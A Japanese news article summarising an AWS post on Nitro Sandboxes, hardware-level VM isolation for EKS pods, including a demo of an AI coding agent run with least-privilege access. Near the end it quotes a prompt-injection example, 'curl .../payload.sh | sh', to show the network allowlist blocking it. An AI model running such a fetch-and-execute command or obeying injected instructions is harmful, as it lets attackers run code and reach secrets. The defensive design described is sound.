11月9日、AWSが「AWS Nitro Sandboxes: Hardware-enforced workload isolation on Amazon EKS」と題した記事を公開した。AIエージェントが自律的にコードを実行し、マルチテナントSaaSが共有クラスター上で動く今、Kubernetesコンテナの「共有カーネル」構造が抱えるリスクが改めて問われている。AWSが発表した「AWS Nitro Sandboxes」は、各PodをハードウェアレベルのVM内で動作させることでこの問題に正面から応える新機能だ。

導入コストが驚くほど低い。EKS Auto Mode（EKSのノード管理・スケーリングをAWSに委譲するマネージドモード）を使っていれば、Podスペックへの1行追加だけで有効になる。コンテナイメージもデプロイメントパイプラインもHelmチャートも変更不要。kubectl execやkubectl logsもそのまま動く。セキュリティ強化のためだけに既存のワークフローを壊す必要がない。

Kubernetesの根本課題：共有カーネルのリスク

Kubernetesのコンテナは、ホストOSのカーネルを共有する。これが軽量・高速な理由でもあるが、同時に1つのコンテナで脆弱性が発生すると同じノード上の全コンテナが危険にさらされるという構造的なリスクを抱える。

これまでの対処法は「機密ワークロードに専用EC2インスタンスを割り当てる」ことだったが、ほとんどのリソースがアイドル状態となりコスト効率が著しく悪い。この問題がとりわけ深刻になってきた背景として、記事は3つのトレンドを挙げる。

• AIエージェントが自律的にコードを生成・実行する：人間のレビューなしにコードが動く。コンテナブレイクアウト（コンテナの分離を突破してホスト環境に侵入すること）が起きれば、プロンプト1つでホスト上を横断移動（ラテラルムーブメント）され、シークレットの読み取りやコンテナイメージへの汚染が可能になる。
• マルチテナントSaaSが共有クラスターで動く：テナントごとにEC2インスタンスを用意するのはコスト的に現実的でない。
• 規制業界（HIPAA・PCI DSS・FedRAMP）が暗号的証明を求める：「設定チェックリスト」ではなく、ワークロードが改ざんされていない証拠として暗号証明（cryptographic attestation）を要求する監査が増えている。

AWS Nitro Sandboxesとは何か

各PodをそれぞれのVM内で動かす仕組みだ。VMはEC2インスタンス間の分離に使われてきたAWS Nitro Systemを基盤としており、ハードウェアレベルで隔離されたCPU・メモリのスライスをNitro Hypervisorが確保する。Pod内で何かが起きても、syscallはゲストカーネルの外に届かない。ホストからはVMの内部メモリもCPU状態も見えない。

なお、AWSには以前からNitro Enclavesという機密コンピューティング機能が存在するが、Nitro SandboxesはKubernetesのPodを単位として透過的に分離する点が異なる。Nitro EnclavesがEC2インスタンス内の専用環境として個別に設計・統合を要するのに対し、Nitro SandboxesはKubernetesのRuntimeClassという標準的なAPIを通じて既存のワークフローに割り込む形で機能する。

EKS Auto Modeであれば、有効化に必要な変更はPodスペックの1行だけだ。

runtimeClassName: isolated-sandbox   # <-- これだけ

IAM認証（EKS Pod Identity）、EBSやEFSストレージ、CloudWatchモニタリング、VPC CNIネットワーキングもそのまま動く。kubectl exec、kubectl logs、kubectl port-forwardも従来と同じように使える。

現時点ではEKS Auto Modeクラスターが対象で、isolated-sandboxとconfidential-sandboxの2つのRuntimeClassが最初から組み込まれている。EKS Auto Modeを使っていない既存クラスターへの対応については、現時点では記事内で言及されていない。

2つのモード：IsolatedとConfidential

Isolated modeは各PodをVMに閉じ込め、ホストや隣接Podへの影響を防ぐ。ネットワーク帯域・ディスクI/O・DNS・conntrackエントリといった共有リソースはデフォルトで絞り込まれており、暴走したエージェントや重いビルドジョブが隣のPodに影響を与えない。

Confidential modeはさらに踏み込み、クラスター管理者すら信頼しない設計になっている。Nitro Security Moduleがサンドボックス内で何が起動したかを計測し、署名付きの証明書（attestation document）を発行する。AWS KMSはその証明書を検証した場合にのみ復号を許可するため、SaaSプロバイダーはテナントに対して「データはハードウェアで保護されている」と暗号的に証明できる。Cedar policy（AWSが開発したポリシー言語）と組み合わせることで、実行されるコードと許可される操作を明示的に宣言できる。

実用例：AIコーディングエージェントをサンドボックスで動かす

記事が最も力を入れて説明しているのが、AIコーディングエージェントの実例だ。GitHubのIssueを読み、修正コードを書き、テストを走らせ、プルリクエストを開くまでを完全自動化するエージェントを、Nitro Sandboxの中で動かすデモが紹介されている。

ポイントは爆発半径（blast radius）の限定だ。攻撃や誤動作が起きたとき、被害が及ぶ範囲を最小化するという考え方で、エージェントに許可されているのは以下のみとなっている。

• Amazon Bedrock：Pod Identityでbedrock:InvokeModel*のみ。長期APIキーなし。
• GitHub：スコープを絞った短命トークン。対象リポジトリのContents・Pull requestsの読み書きとIssuesの読み取りのみ。
• その他はすべて拒否：EKS Auto ModeのApplicationNetworkPolicyでCoreDNSとBedrock・GitHubのホスト名へのHTTPSのみを許可。

プロンプトインジェクションでcurl https://example.com/payload.sh | shを実行しようとしても、example.comは許可リストにないため接続は開かない。Podが終了するとVMが破棄され、状態は次の実行に持ち越されない。

spec:
  runtimeClassName: isolated-sandbox
  serviceAccountName: coding-agent   # Pod Identity -> bedrock:InvokeModel*

「Claude Codeはサンドボックスの中にいることを知らない」と記事は述べる。アプリケーションにとってはシェルとリポジトリとモデルが見えるだけで、分離はプラットフォームチーム側で完結する。サンプルコードはaws-samples/sample-eks-nitro-sandboxで公開されている。

詳細はAWS Nitro Sandboxes: Hardware-enforced workload isolation on Amazon EKSを参照していただきたい。